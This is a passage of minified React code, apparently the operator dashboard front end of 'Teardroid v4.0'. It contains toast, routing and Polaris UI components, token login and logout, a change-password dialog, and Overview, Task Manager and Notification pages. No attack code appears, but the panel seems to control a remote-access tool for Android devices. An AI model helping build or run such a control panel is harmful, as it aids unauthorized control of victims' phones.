r.createElement("div",{className:"Toastify__spinner"})}},Iu=function(e){var t,n,a=Tu(e),o=a.isRunning,i=a.preventExitTransition,l=a.toastRef,s=a.eventHandlers,u=e.closeButton,c=e.children,d=e.autoClose,f=e.onClick,p=e.type,h=e.hideProgressBar,m=e.closeToast,v=e.transition,g=e.position,b=e.className,y=e.style,w=e.bodyClassName,x=e.bodyStyle,E=e.progressClassName,S=e.progressStyle,k=e.updateId,_=e.role,C=e.progress,P=e.rtl,N=e.toastId,T=e.deleteToast,A=e.isIn,M=e.isLoading,L=e.icon,O=e.theme,F=su("Toastify__toast","Toastify__toast-theme--"+O,"Toastify__toast--"+p,((t={})["Toastify__toast--rtl"]=P,t)),I=hu(b)?b({rtl:P,position:g,type:p,defaultClassName:F}):su(F,b),j=!!C,R=Fu[p],B={theme:O,type:p},D=R&&R(B);return!1===L?D=void 0:hu(L)?D=L(B):(0,r.isValidElement)(L)?D=(0,r.cloneElement)(L,B):pu(L)?D=L:M&&(D=Fu.spinner()),(0,r.createElement)(v,{isIn:A,done:T,position:g,preventExitTransition:i,nodeRef:l},(0,r.createElement)("div",Object.assign({id:N,onClick:f,className:I},s,{style:y,ref:l}),(0,r.createElement)("div",Object.assign({},A&&{role:_},{className:hu(w)?w({type:p}):su("Toastify__toast-body",w),style:x}),D&&(0,r.createElement)("div",{className:su("Toastify__toast-icon",(n={},n["Toastify--animate-icon Toastify__zoom-enter"]=!M,n))},D),(0,r.createElement)("div",null,c)),function(e){if(e){var t={closeToast:m,type:p,theme:O};return hu(e)?e(t):(0,r.isValidElement)(e)?(0,r.cloneElement)(e,t):void 0}}(u),(d||j)&&(0,r.createElement)(Mu,Object.assign({},k&&!j?{key:"pb-"+k}:{},{rtl:P,theme:O,delay:d,isRunning:o,isIn:A,closeToast:m,hide:h,type:p,style:S,className:E,controlledProgress:j,progress:C}))))},ju=xu({enter:"Toastify--animate Toastify__bounce-enter",exit:"Toastify--animate Toastify__bounce-exit",appendPosition:!0}),Ru=function(e){var t=Cu(e),n=t.getToastToRender,a=t.containerRef,o=t.isToastActive,i=e.className,l=e.style,s=e.rtl,u=e.containerId;function c(e){var t,n=su("Toastify__toast-container","Toastify__toast-container--"+e,((t={})["Toastify__toast-container--rtl"]=s,t));return hu(i)?i({position:e,rtl:s,defaultClassName:n}):su(n,mu(i))}return(0,r.createElement)("div",{ref:a,className:"Toastify",id:u},n((function(e,t){var n=0===t.length?uu({},l,{pointerEvents:"none"}):uu({},l);return(0,r.createElement)("div",{className:c(e),style:n,key:"container-"+e},t.map((function(e){var t=e.content,n=e.props;return(0,r.createElement)(Iu,Object.assign({},n,{isIn:o(n.toastId),key:"toast-"+n.key,closeButton:!0===n.closeButton?Au:n.closeButton}),t)})))})))};Ru.defaultProps={position:yu.TOP_RIGHT,transition:ju,rtl:!1,autoClose:5e3,hideProgressBar:!1,closeButton:Au,pauseOnHover:!0,pauseOnFocusLoss:!0,closeOnClick:!0,newestOnTop:!1,draggable:!0,draggablePercent:80,draggableDirection:"x",role:"alert",theme:"light"};var Bu,Du,Hu,zu=new Map,Uu=[],Wu=!1;function Vu(){return Math.random().toString(36).substr(2,9)}function qu(e){return e&&(pu(e.toastId)||du(e.toastId))?e.toastId:Vu()}function Zu(e,t){return zu.size>0?Eu.emit(0,e,t):(Uu.push({content:e,options:t}),Wu&&gu&&(Wu=!1,Du=document.createElement("div"),document.body.appendChild(Du),(0,a.render)((0,r.createElement)(Ru,Object.assign({},Hu)),Du))),t.toastId}function Ku(e,t){return uu({},t,{type:t&&t.type||e,toastId:qu(t)})}var Gu=function(e){return function(t,n){return Zu(t,Ku(e,n))}},$u=function(e,t){return Zu(e,Ku(wu.DEFAULT,t))};function Yu(e,t,n,r,a,o,i){try{var l=e[o](i),s=l.value}catch(u){return void n(u)}l.done?t(s):Promise.resolve(s).then(r,a)}function Qu(e){return function(){var t=this,n=arguments;return new Promise((function(r,a){var o=e.apply(t,n);function i(e){Yu(o,r,a,i,l,"next",e)}function l(e){Yu(o,r,a,i,l,"throw",e)}i(void 0)}))}}$u.loading=function(e,t){return Zu(e,Ku(wu.DEFAULT,uu({isLoading:!0,autoClose:!1,closeOnClick:!1,closeButton:!1,draggable:!1},t)))},$u.promise=function(e,t,n){var r,a=t.pending,o=t.error,i=t.success;a&&(r=pu(a)?$u.loading(a,n):$u.loading(a.render,uu({},n,a)));var l={isLoading:null,autoClose:null,closeOnClick:null,closeButton:null,draggable:null},s=function(e,t,a){var o=uu({type:e},l,n,{data:a}),i=pu(t)?{render:t}:t;return r?$u.update(r,uu({},o,i)):$u(i.render,uu({},o,i)),a},u=hu(e)?e():e;return u.then((function(e){return i&&s("success",i,e)})).catch((function(e){return o&&s("error",o,e)})),u},$u.success=Gu(wu.SUCCESS),$u.info=Gu(wu.INFO),$u.error=Gu(wu.ERROR),$u.warn=$u.warning=Gu(wu.WARNING),$u.dark=function(e,t){return Zu(e,Ku(wu.DEFAULT,uu({theme:"dark"},t)))},$u.dismiss=function(e){return Eu.emit(1,e)},$u.clearWaitingQueue=function(e){return void 0===e&&(e={}),Eu.emit(5,e)},$u.isActive=function(e){var t=!1;return zu.forEach((function(n){n.isToastActive&&n.isToastActive(e)&&(t=!0)})),t},$u.update=function(e,t){void 0===t&&(t={}),setTimeout((function(){var n=function(e,t){var n=t.containerId,r=zu.get(n||Bu);return r?r.getToast(e):null}(e,t);if(n){var r=n.props,a=n.content,o=uu({},r,t,{toastId:t.toastId||e,updateId:Vu()});o.toastId!==e&&(o.staleId=e);var i=o.render||a;delete o.render,Zu(i,o)}}),0)},$u.done=function(e){$u.update(e,{progress:1})},$u.onChange=function(e){return hu(e)&&Eu.on(4,e),function(){hu(e)&&Eu.off(4,e)}},$u.configure=function(e){void 0===e&&(e={}),Wu=!0,Hu=e},$u.POSITION=yu,$u.TYPE=wu,Eu.on(2,(function(e){Bu=e.containerId||e,zu.set(Bu,e),Uu.forEach((function(e){Eu.emit(0,e.content,e.options)})),Uu=[]})).on(3,(function(e){zu.delete(e.containerId||e),0===zu.size&&Eu.off(0).off(1).off(5),gu&&Du&&document.body.removeChild(Du)}));var Xu,Ju=n(7757),ec=n.n(Ju),tc="access_token",nc=function(){var e=Qu(ec().mark((function e(t){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:localStorage.setItem(tc,t),window.location.href="/v4/overview";case 2:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),rc=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:localStorage.removeItem(tc),window.location.reload();case 2:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),ac=function(){return!!localStorage.getItem(tc)},oc=n(184),ic=function(){var e=ne((0,r.useState)(!1),2),t=e[0],n=e[1],a=ne((0,r.useState)(""),2),o=a[0],i=a[1],l=ne((0,r.useState)(""),2),s=l[0],u=l[1];return(0,oc.jsxs)("div",{style:{marginTop:"auto"},children:[(0,oc.jsx)("a",{onClick:function(){return window.location.href="https://contact-us-hacksec.deta.dev/contactus/"},style:{textDecoration:"none",cursor:"pointer"},children:(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Contact us"})})}),(0,oc.jsx)("a",{onClick:function(){return rc()},style:{textDecoration:"none",cursor:"pointer"},children:(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Logout"})})}),(0,oc.jsx)("a",{onClick:function(){return n(!0)},style:{textDecoration:"none",cursor:"pointer"},children:(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Change password"})})}),(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Teardroid v4.0"})}),(0,oc.jsx)(au,{children:(0,oc.jsx)(Sa,{variation:"subdued",children:"Made in India with \u2764\ufe0f"})}),(0,oc.jsx)(ll,{open:t,onClose:function(){return n(!1)},title:"Change password",primaryAction:{content:"Change password",onAction:function(){iu().post("/auth/password/change",{old_password:o,new_password:s}).then((function(e){$u.success(e.data.message),n(!1)})).catch((function(e){$u.error(e.response.data.detail)}))}},children:(0,oc.jsx)("div",{style:{padding:"10px"},children:(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Ql,{label:"Old password : ",value:o,onChange:function(e){return i(e)},autoComplete:"on"}),(0,oc.jsx)(Ql,{label:"New password : ",value:s,onChange:function(e){return u(e)},autoComplete:"on"})]})})})]})},lc=n(173),sc=function(e){var t=e.actualPageMarkup,n=e.Location,a=(0,r.useRef)({emailFieldValue:"script@hacksec.in",nameFieldValue:"script1337"}),o=(0,r.useRef)(null),i=ne((0,r.useState)(!1),2),l=i[0],s=i[1],u=ne((0,r.useState)(!1),2),c=u[0],d=u[1],f=ne((0,r.useState)(!1),2),p=f[0],h=f[1],m=ne((0,r.useState)(!1),2),v=m[0],g=m[1],b=ne((0,r.useState)(!1),2),y=b[0],w=b[1],x=ne((0,r.useState)(a.current.nameFieldValue),2),E=x[0],S=x[1],k=ne((0,r.useState)(a.current.emailFieldValue),2),_=k[0],C=k[1],P=ne((0,r.useState)(a.current.nameFieldValue),2),N=P[0],T=P[1],A=ne((0,r.useState)(""),2),M=A[0],L=A[1],O=ne((0,r.useState)(""),2),F=O[0],I=O[1],j=(0,r.useCallback)((function(e){return L(e)}),[]),R=(0,r.useCallback)((function(e){return I(e)}),[]),B=(0,r.useCallback)((function(){C(a.current.emailFieldValue),S(a.current.nameFieldValue),d(!1)}),[]),D=(0,r.useCallback)((function(){a.current.nameFieldValue=E,a.current.emailFieldValue=_,d(!1),s(!0),T(a.current.nameFieldValue)}),[_,E]),H=(0,r.useCallback)((function(){return s((function(e){return!e}))}),[]),z=(0,r.useCallback)((function(){return h((function(e){return!e}))}),[]),U=(0,r.useCallback)((function(){return g((function(e){return!e}))}),[]),W=(0,r.useCallback)((function(){return w((function(e){return!e}))}),[]),V=l?(0,oc.jsx)($e,{onDismiss:H,content:"Changes saved"}):null,q=c?(0,oc.jsx)(Ye,{message:"Unsaved changes",saveAction:{onAction:D},discardAction:{onAction:B}}):null,Z=((0,r.useCallback)((function(){console.log("toggle navigation visibility")}),[]),(0,oc.jsx)(Ua.UserMenu,{name:"Hacksec",detail:N,initials:"H",open:p,onToggle:z})),K=(0,oc.jsx)(Ua,{showNavigationToggle:!0,userMenu:Z,onNavigationToggle:U}),G=(0,oc.jsxs)(Wo,{location:n,children:[(0,oc.jsx)("img",{style:{padding:"15px"},src:"https://ik.imagekit.io/jiqzdjrnxp9/IMG-20220122-WA0000_RdKN5Rv3U.jpg?ik-sdk-version=javascript-1.4.3&updatedAt=1642847363169"}),(0,oc.jsx)(Wo.Section,{title:"Teardroid v4.0",items:[{url:"/v4/overview",label:"Overview",icon:Js},{url:"/v4/task",label:"Task Manager",icon:eu},{url:"/v4/notification",label:"Notification",icon:tu}]}),(0,oc.jsx)(ic,{})]}),$=(0,oc.jsx)(ll,{open:y,onClose:W,title:"Contact support",primaryAction:{content:"Send",onAction:W,icon:nu},children:(0,oc.jsx)(ll.Section,{children:(0,oc.jsxs)(bl,{children:[(0,oc.jsx)(Ql,{label:"Subject",value:M,onChange:j,autoComplete:"off"}),(0,oc.jsx)(Ql,{label:"Message",value:F,onChange:R,autoComplete:"off",multiline:!0})]})})});return(0,oc.jsxs)($s,{topBar:lc.tq?K:null,navigation:G,showMobileNavigation:v,onNavigationDismiss:U,skipToContentTarget:o.current,children:[q,t,V,$]})},uc=Xu||(Xu={});uc.Pop="POP",uc.Push="PUSH",uc.Replace="REPLACE";var cc=function(e){return e};function dc(e){e.preventDefault(),e.returnValue=""}function fc(){var e=[];return{get length(){return e.length},push:function(t){return e.push(t),function(){e=e.filter((function(e){return e!==t}))}},call:function(t){e.forEach((function(e){return e&&e(t)}))}}}function pc(){return Math.random().toString(36).substr(2,8)}function hc(e){var t=e.pathname;t=void 0===t?"/":t;var n=e.search;return n=void 0===n?"":n,e=void 0===(e=e.hash)?"":e,n&&"?"!==n&&(t+="?"===n.charAt(0)?n:"?"+n),e&&"#"!==e&&(t+="#"===e.charAt(0)?e:"#"+e),t}function mc(e){var t={};if(e){var n=e.indexOf("#");0<=n&&(t.hash=e.substr(n),e=e.substr(0,n)),0<=(n=e.indexOf("?"))&&(t.search=e.substr(n),e=e.substr(0,n)),e&&(t.pathname=e)}return t}function vc(e,t){if(!e)throw new Error(t)}var gc=(0,r.createContext)(null);var bc=(0,r.createContext)(null);var yc=(0,r.createContext)({outlet:null,matches:[]});function wc(e){var t=e.to,n=e.replace,a=e.state;Cc()||vc(!1);var o=Nc();return(0,r.useEffect)((function(){o(t,{replace:n,state:a})})),null}function xc(e){return function(e){var t=(0,r.useContext)(yc).outlet;if(t)return(0,r.createElement)(Tc.Provider,{value:e},t);return t}(e.context)}function Ec(e){vc(!1)}function Sc(e){var t=e.basename,n=void 0===t?"/":t,a=e.children,o=void 0===a?null:a,i=e.location,l=e.navigationType,s=void 0===l?Xu.Pop:l,u=e.navigator,c=e.static,d=void 0!==c&&c;Cc()&&vc(!1);var f=Uc(n),p=(0,r.useMemo)((function(){return{basename:f,navigator:u,static:d}}),[f,u,d]);"string"===typeof i&&(i=mc(i));var h=i,m=h.pathname,v=void 0===m?"/":m,g=h.search,b=void 0===g?"":g,y=h.hash,w=void 0===y?"":y,x=h.state,E=void 0===x?null:x,S=h.key,k=void 0===S?"default":S,_=(0,r.useMemo)((function(){var e=Hc(v,f);return null==e?null:{pathname:e,search:b,hash:w,state:E,key:k}}),[f,v,b,w,E,k]);return null==_?null:(0,r.createElement)(gc.Provider,{value:p},(0,r.createElement)(bc.Provider,{children:o,value:{location:_,navigationType:s}}))}function kc(e){var t=e.children,n=e.location;return function(e,t){Cc()||vc(!1);var n=(0,r.useContext)(yc).matches,a=n[n.length-1],o=a?a.params:{},i=(a&&a.pathname,a?a.pathnameBase:"/");a&&a.route;0;var l,s=Pc();if(t){var u,c="string"===typeof t?mc(t):t;"/"===i||(null==(u=c.pathname)?void 0:u.startsWith(i))||vc(!1),l=c}else l=s;var d=l.pathname||"/",f="/"===i?d:d.slice(i.length)||"/",p=function(e,t,n){void 0===n&&(n="/");var r=Hc(("string"===typeof t?mc(t):t).pathname||"/",n);if(null==r)return null;var a=Lc(e);!function(e){e.sort((function(e,t){return e.score!==t.score?t.score-e.score:function(e,t){var n=e.length===t.length&&e.slice(0,-1).every((function(e,n){return e===t[n]}));return n?e[e.length-1]-t[t.length-1]:0}(e.routesMeta.map((function(e){return e.childrenIndex})),t.routesMeta.map((function(e){return e.childrenIndex})))}))}(a);for(var o=null,i=0;null==o&&i0&&(!0===e.index&&vc(!1),Lc(e.children,t,l,i)),(null!=e.path||e.index)&&t.push({path:i,score:Ic(i,e.index),routesMeta:l})})),t}var Oc=/^:\w+$/,Fc=function(e){return"*"===e};function Ic(e,t){var n=e.split("/"),r=n.length;return n.some(Fc)&&(r+=-2),t&&(r+=2),n.filter((function(e){return!Fc(e)})).reduce((function(e,t){return e+(Oc.test(t)?3:""===t?1:10)}),r)}function jc(e,t){for(var n=e.routesMeta,r={},a="/",o=[],i=0;i=0?t[i]:"/"}var s=function(e,t){void 0===t&&(t="/");var n="string"===typeof e?mc(e):e,r=n.pathname,a=n.search,o=void 0===a?"":a,i=n.hash,l=void 0===i?"":i,s=r?r.startsWith("/")?r:function(e,t){var n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach((function(e){".."===e?n.length>1&&n.pop():"."!==e&&n.push(e)})),n.length>1?n.join("/"):"/"}(r,t):t;return{pathname:s,search:Wc(o),hash:Vc(l)}}(a,r);return o&&"/"!==o&&o.endsWith("/")&&!s.pathname.endsWith("/")&&(s.pathname+="/"),s}function Hc(e,t){if("/"===t)return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;var n=e.charAt(t.length);return n&&"/"!==n?null:e.slice(t.length)||"/"}var zc=function(e){return e.join("/").replace(/\/\/+/g,"/")},Uc=function(e){return e.replace(/\/+$/,"").replace(/^\/*/,"/")},Wc=function(e){return e&&"?"!==e?e.startsWith("?")?e:"?"+e:""},Vc=function(e){return e&&"#"!==e?e.startsWith("#")?e:"#"+e:""};function qc(){return qc=Object.assign||function(e){for(var t=1;t=0||(a[n]=e[n]);return a}var Kc=["onClick","reloadDocument","replace","state","target","to"];function Gc(e){var t=e.basename,n=e.children,a=e.window,o=(0,r.useRef)();null==o.current&&(o.current=function(e){function t(){var e=i.location,t=l.state||{};return[t.idx,cc({pathname:e.pathname,search:e.search,hash:e.hash,state:t.usr||null,key:t.key||"default"})]}function n(e){return"string"===typeof e?e:hc(e)}function r(e,t){return void 0===t&&(t=null),cc(Vo({pathname:d.pathname,hash:"",search:""},"string"===typeof e?mc(e):e,{state:t,key:pc()}))}function a(e){u=e,e=t(),c=e[0],d=e[1],f.call({action:u,location:d})}function o(e){l.go(e)}void 0===e&&(e={});var i=void 0===(e=e.window)?document.defaultView:e,l=i.history,s=null;i.addEventListener("popstate",(function(){if(s)p.call(s),s=null;else{var e=Xu.Pop,n=t(),r=n[0];if(n=n[1],p.length){if(null!=r){var i=c-r;i&&(s={action:e,location:n,retry:function(){o(-1*i)}},o(i))}}else a(e)}}));var u=Xu.Pop,c=(e=t())[0],d=e[1],f=fc(),p=fc();return null==c&&(c=0,l.replaceState(Vo({},l.state,{idx:c}),"")),{get action(){return u},get location(){return d},createHref:n,push:function e(t,o){var s=Xu.Push,u=r(t,o);if(!p.length||(p.call({action:s,location:u,retry:function(){e(t,o)}}),0)){var d=[{usr:u.state,key:u.key,idx:c+1},n(u)];u=d[0],d=d[1];try{l.pushState(u,"",d)}catch(f){i.location.assign(d)}a(s)}},replace:function e(t,o){var i=Xu.Replace,s=r(t,o);p.length&&(p.call({action:i,location:s,retry:function(){e(t,o)}}),1)||(s=[{usr:s.state,key:s.key,idx:c},n(s)],l.replaceState(s[0],"",s[1]),a(i))},go:o,back:function(){o(-1)},forward:function(){o(1)},listen:function(e){return f.push(e)},block:function(e){var t=p.push(e);return 1===p.length&&i.addEventListener("beforeunload",dc),function(){t(),p.length||i.removeEventListener("beforeunload",dc)}}}}({window:a}));var i=o.current,l=ne((0,r.useState)({action:i.action,location:i.location}),2),s=l[0],u=l[1];return(0,r.useLayoutEffect)((function(){return i.listen(u)}),[i]),(0,r.createElement)(Sc,{basename:t,children:n,location:s.location,navigationType:s.action,navigator:i})}var $c=(0,r.forwardRef)((function(e,t){var n=e.onClick,a=e.reloadDocument,o=e.replace,i=void 0!==o&&o,l=e.state,s=e.target,u=e.to,c=Zc(e,Kc),d=_c(u),f=function(e,t){var n=void 0===t?{}:t,a=n.target,o=n.replace,i=n.state,l=Nc(),s=Pc(),u=Ac(e);return(0,r.useCallback)((function(t){if(0===t.button&&(!a||"_self"===a)&&!function(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}(t)){t.preventDefault();var n=!!o||hc(s)===hc(u);l(e,{replace:n,state:i})}}),[s,l,u,o,i,a,e])}(u,{replace:i,state:l,target:s});return(0,r.createElement)("a",qc({},c,{href:d,onClick:function(e){n&&n(e),e.defaultPrevented||a||f(e)},ref:t,target:s}))}));var Yc;function Qc(e){if("id"in e)return e.id;throw new Error("Your resource does not directly contain an `id`. Pass a `resourceIDResolver` to `useIndexResourceState`")}(function(e){e.All="all",e.Page="page",e.Multi="multi",e.Single="single"})(Yc||(Yc={}));var Xc;function Jc(e){var t=e.title,n=e.description,a=e.withIllustration,o=jt().translate("Polaris.EmptySearchResult.altText"),i=n?r.createElement("p",null,n):null,l=a?r.createElement(Ba,{alt:o,source:"data:image/svg+xml,%3csvg width='60' height='60' fill='none' xmlns='http://www.w3.org/2000/svg'%3e%3cpath fill-rule='evenodd' clip-rule='evenodd' d='M41.87 24a17.87 17.87 0 11-35.74 0 17.87 17.87 0 0135.74 0zm-3.15 18.96a24 24 0 114.24-4.24L59.04 54.8a3 3 0 11-4.24 4.24L38.72 42.96z' fill='%238C9196'/%3e%3c/svg%3e",draggable:!1}):null;return r.createElement(Vr,{alignment:"center",vertical:!0},l,r.createElement(Ui,{size:"small"},t),r.createElement(Sa,{variation:"subdued"},i))}var ed,td=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Xc||(Xc=r.createElement("path",{fillRule:"evenodd",d:"M4.5 3A1.5 1.5 0 0 0 3 4.5v11A1.5 1.5 0 0 0 4.5 17h11a1.5 1.5 0 0 0 1.5-1.5v-11A1.5 1.5 0 0 0 15.5 3h-11zm9.207 5.707a1 1 0 0 0-1.414-1.414L9 10.586 7.707 9.293a1 1 0 0 0-1.414 1.414l2 2a1 1 0 0 0 1.414 0l4-4z"})))},nd={IndexTable:"Polaris-IndexTable","LoadingContainer-enter":"Polaris-IndexTable__LoadingContainer--enter","LoadingContainer-enter-active":"Polaris-IndexTable--loadingContainerEnterActive","LoadingContainer-exit":"Polaris-IndexTable__LoadingContainer--exit","LoadingContainer-exit-active":"Polaris-IndexTable--loadingContainerExitActive",LoadingPanel:"Polaris-IndexTable__LoadingPanel",LoadingPanelRow:"Polaris-IndexTable__LoadingPanelRow",LoadingPanelText:"Polaris-IndexTable__LoadingPanelText",Table:"Polaris-IndexTable__Table","Table-scrolling":"Polaris-IndexTable__Table--scrolling","TableCell-first":"Polaris-IndexTable__TableCell--first",TableCell:"Polaris-IndexTable__TableCell","TableHeading-first":"Polaris-IndexTable__TableHeading--first","TableHeading-second":"Polaris-IndexTable__TableHeading--second","Table-unselectable":"Polaris-IndexTable__Table--unselectable",TableRow:"Polaris-IndexTable__TableRow","TableRow-unclickable":"Polaris-IndexTable__TableRow--unclickable",statusSuccess:"Polaris-IndexTable--statusSuccess",statusSubdued:"Polaris-IndexTable--statusSubdued","TableRow-hovered":"Polaris-IndexTable__TableRow--hovered","TableRow-selected":"Polaris-IndexTable__TableRow--selected","TableRow-subdued":"Polaris-IndexTable__TableRow--subdued",TableHeading:"Polaris-IndexTable__TableHeading",ColumnHeaderCheckboxWrapper:"Polaris-IndexTable__ColumnHeaderCheckboxWrapper",FirstStickyHeaderElement:"Polaris-IndexTable__FirstStickyHeaderElement","TableHeading-unselectable":"Polaris-IndexTable__TableHeading--unselectable","TableCell-flush":"Polaris-IndexTable__TableCell--flush","Table-sticky-scrolling":"Polaris-IndexTable--tableStickyScrolling","TableHeading-last":"Polaris-IndexTable__TableHeading--last","Table-sticky-last":"Polaris-IndexTable--tableStickyLast",StickyTable:"Polaris-IndexTable__StickyTable",StickyTableHeader:"Polaris-IndexTable__StickyTableHeader","StickyTableHeader-isSticky":"Polaris-IndexTable__StickyTableHeader--isSticky",StickyTableColumnHeader:"Polaris-IndexTable__StickyTableColumnHeader","StickyTableColumnHeader-isScrolling":"Polaris-IndexTable__StickyTableColumnHeader--isScrolling",StickyTableHeadings:"Polaris-IndexTable__StickyTableHeadings","StickyTableHeading-second":"Polaris-IndexTable__StickyTableHeading--second",unselectable:"Polaris-IndexTable--unselectable","StickyTableHeading-second-scrolling":"Polaris-IndexTable--stickyTableHeadingSecondScrolling",ScrollLeft:"Polaris-IndexTable__ScrollLeft",ScrollRight:"Polaris-IndexTable__ScrollRight","ScrollRight-onboarding":"Polaris-IndexTable__ScrollRight--onboarding",BulkActionsWrapper:"Polaris-IndexTable__BulkActionsWrapper",ScrollBarContainer:"Polaris-IndexTable__ScrollBarContainer",scrollBarContainerCondensed:"Polaris-IndexTable--scrollBarContainerCondensed",ScrollBar:"Polaris-IndexTable__ScrollBar",disableTextSelection:"Polaris-IndexTable--disableTextSelection",selectMode:"Polaris-IndexTable--selectMode",EmptySearchResultWrapper:"Polaris-IndexTable__EmptySearchResultWrapper",condensedRow:"Polaris-IndexTable--condensedRow",CondensedList:"Polaris-IndexTable__CondensedList",HeaderWrapper:"Polaris-IndexTable__HeaderWrapper","StickyTable-condensed":"Polaris-IndexTable__StickyTable--condensed","StickyTableHeader-condensed":"Polaris-IndexTable__StickyTableHeader--condensed",ScrollBarContent:"Polaris-IndexTable__ScrollBarContent"},rd="All";!function(e){e.All="all",e.Page="page",e.Multi="multi",e.Single="single"}(ed||(ed={}));var ad=(0,r.createContext)(void 0),od=(0,r.createContext)(void 0),id=(0,r.createContext)(void 0);function ld(){var e=(0,r.useContext)(od);if(!e)throw new Error("Missing IndexProvider context");return e}function sd(){var e=(0,r.useContext)(ad);if(!e)throw new Error("Missing IndexProvider context");return e}function ud(e){var t=e.children,n=e.resourceName,a=e.loading,o=e.onSelectionChange,i=e.selectedItemsCount,l=void 0===i?0:i,s=e.itemCount,u=e.hasMoreItems,c=e.condensed,d=e.selectable,f=void 0===d||d,p=function(e){var t=e.selectedItemsCount,n=e.itemCount,r=e.hasMoreItems,a=e.resourceName,o=jt(),i=Boolean(t),l="All"===t||t>0,s={singular:o.translate("Polaris.IndexProvider.defaultItemSingular"),plural:o.translate("Polaris.IndexProvider.defaultItemPlural")},u=a||s,c=function(){if(i&&r)return t===rd?o.translate("Polaris.IndexProvider.allItemsSelected",{itemsLength:n,resourceNamePlural:u.plural.toLocaleLowerCase()}):void 0}(),d=function(){var e=t===rd?"".concat(n,"+"):t;return o.translate("Polaris.IndexProvider.selected",{selectedItemsCount:e})}(),f=function(){var e=n,r=t===e;return 1===e&&r?o.translate("Polaris.IndexProvider.a11yCheckboxDeselectAllSingle",{resourceNameSingular:u.singular}):1===e?o.translate("Polaris.IndexProvider.a11yCheckboxSelectAllSingle",{resourceNameSingular:u.singular}):r?o.translate("Polaris.IndexProvider.a11yCheckboxDeselectAllMultiple",{itemsLength:n,resourceNamePlural:u.plural}):o.translate("Polaris.IndexProvider.a11yCheckboxSelectAllMultiple",{itemsLength:n,resourceNamePlural:u.plural})}(),p="indeterminate";return t&&0!==t?t!==rd&&t!==n||(p=!0):p=void 0,{paginatedSelectAllText:c,bulkActionsLabel:d,bulkActionsAccessibilityLabel:f,resourceName:u,selectMode:l,bulkSelectState:p,selectable:i}}({selectedItemsCount:l,itemCount:s,hasMoreItems:u,resourceName:n}),h=p.paginatedSelectAllText,m=p.bulkActionsLabel,v=p.bulkActionsAccessibilityLabel,g=p.resourceName,b=p.selectMode,y=p.bulkSelectState,w=function(e){var t=e.onSelectionChange,n=void 0===t?function(){}:t,a=(0,r.useRef)(null);return(0,r.useCallback)((function(e,t,r,o){var i=a.current;if(ed.Multi&&"number"===typeof o&&(a.current=o),e===ed.Single||e===ed.Multi&&("number"!==typeof i||"number"!==typeof o))n(ed.Single,t,r);else if(e===ed.Multi){var l=Math.min(i,o),s=Math.max(i,o);n(e,t,[l,s])}else e!==ed.Page&&e!==ed.All||n(e,t)}),[n])}({onSelectionChange:o}),x=(0,r.useMemo)((function(){return{itemCount:s,selectMode:b&&f,selectable:f,resourceName:g,loading:a,paginatedSelectAllText:h,hasMoreItems:u,bulkActionsLabel:m,bulkActionsAccessibilityLabel:v,bulkSelectState:y,selectedItemsCount:l,condensed:c}}),[s,b,f,g,a,h,u,m,v,y,l,c]),E=(0,r.useMemo)((function(){return{selectable:f,selectMode:b&&f,condensed:c}}),[c,b,f]);return r.createElement(ad.Provider,{value:x},r.createElement(id.Provider,{value:E},r.createElement(od.Provider,{value:w},t)))}var cd,dd,fd=(0,r.memo)((function(e){var t=e.children,n=e.flush,a=Xe(nd.TableCell,n&&nd["TableCell-flush"]);return r.createElement("td",{className:a},t)})),pd="Polaris-IndexTable-Checkbox__TableCellContentContainer",hd="Polaris-IndexTable-Checkbox__Wrapper",md="Polaris-IndexTable-Checkbox--expanded",vd="Polaris-IndexTable-Checkbox--condensed",gd=(0,r.createContext)({}),bd=(0,r.createContext)(void 0),yd={scrollableContainer:null,canScrollLeft:!1,canScrollRight:!1},wd=(0,r.createContext)(yd),xd=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),cd||(cd=r.createElement("path",{d:"M15 9H5a1 1 0 1 0 0 2h10a1 1 0 1 0 0-2z"})))},Ed=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),dd||(dd=r.createElement("path",{d:"m8.315 13.859-3.182-3.417a.506.506 0 0 1 0-.684l.643-.683a.437.437 0 0 1 .642 0l2.22 2.393 4.942-5.327a.436.436 0 0 1 .643 0l.643.684a.504.504 0 0 1 0 .683l-5.91 6.35a.437.437 0 0 1-.642 0"})))},Sd=(0,r.createContext)(!1),kd="Polaris-Checkbox",_d="Polaris-Checkbox__Input",Cd="Polaris-Checkbox--keyFocused",Pd="Polaris-Checkbox__Backdrop",Nd="Polaris-Checkbox__Input--indeterminate",Td="Polaris-Checkbox__Icon",Ad="Polaris-Checkbox--hover",Md="Polaris-Checkbox--error",Ld={Choice:"Polaris-Choice",labelHidden:"Polaris-Choice--labelHidden",Label:"Polaris-Choice__Label",Control:"Polaris-Choice__Control",disabled:"Polaris-Choice--disabled",Descriptions:"Polaris-Choice__Descriptions",HelpText:"Polaris-Choice__HelpText"};function Od(e){var t=e.id,n=e.label,a=e.disabled,o=e.error,i=e.children,l=e.labelHidden,s=e.helpText,u=e.onClick,c=e.onMouseOut,d=e.onMouseOver,f=Xe(Ld.Choice,l&&Ld.labelHidden,a&&Ld.disabled),p=r.createElement("label",{className:f,htmlFor:t,onClick:u,onMouseOver:d,onMouseOut:c},r.createElement("span",{className:Ld.Control},i),r.createElement("span",{className:Ld.Label},n)),h=s?r.createElement("div",{className:Ld.HelpText,id:Fd(t)},s):null,m=o&&"boolean"!==typeof o&&r.createElement("div",{className:Ld.Error},r.createElement(Al,{message:o,fieldID:t})),v=h||m?r.createElement("div",{className:Ld.Descriptions},m,h):null;return v?r.createElement("div",null,p,v):p}function Fd(e){return"".concat(e,"HelpText")}var Id=(0,r.forwardRef)((function(e,t){var 